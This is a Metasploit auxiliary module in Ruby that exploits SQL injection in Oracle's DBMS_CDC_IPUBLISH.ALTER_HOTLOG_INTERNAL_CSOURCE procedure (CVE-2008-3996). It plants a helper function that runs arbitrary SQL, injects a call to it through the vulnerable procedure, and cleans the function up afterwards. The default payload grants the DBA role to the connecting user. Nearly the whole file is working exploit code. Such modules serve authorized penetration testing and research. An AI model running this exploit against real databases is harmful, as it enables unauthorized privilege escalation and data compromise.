metasploit-framework/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb

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##
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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::ORACLE
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def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE',
'Description' => %q{
The module exploits an sql injection flaw in the ALTER_HOTLOG_INTERNAL_CSOURCE
procedure of the PL/SQL package DBMS_CDC_IPUBLISH. Any user with execute privilege
on the vulnerable package can exploit this vulnerability. By default, users granted
EXECUTE_CATALOG_ROLE have the required privilege. Affected versions: Oracle Database
Server versions 10gR1, 10gR2 and 11gR1. Fixed with October 2008 CPU.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-3996' ],
[ 'OSVDB', '49321']
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],
'DisclosureDate' => 'Oct 22 2008'))
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register_options(
[
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
])
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end
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def run
return if not check_dependencies
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name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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function = "
CREATE OR REPLACE FUNCTION #{name}
RETURN VARCHAR2 AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN NULL;
END;"
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package = "
BEGIN
SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE('''||'||user||'.#{name}||''');END;"
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clean = "DROP FUNCTION #{name}"
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begin
print_status("Sending function...")
prepare_exec(function)
rescue => e
return
end
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print_status("Attempting sql injection on SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE...")
prepare_exec(package)
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print_status("Done! Removing function '#{name}'...")
prepare_exec(clean)
end
end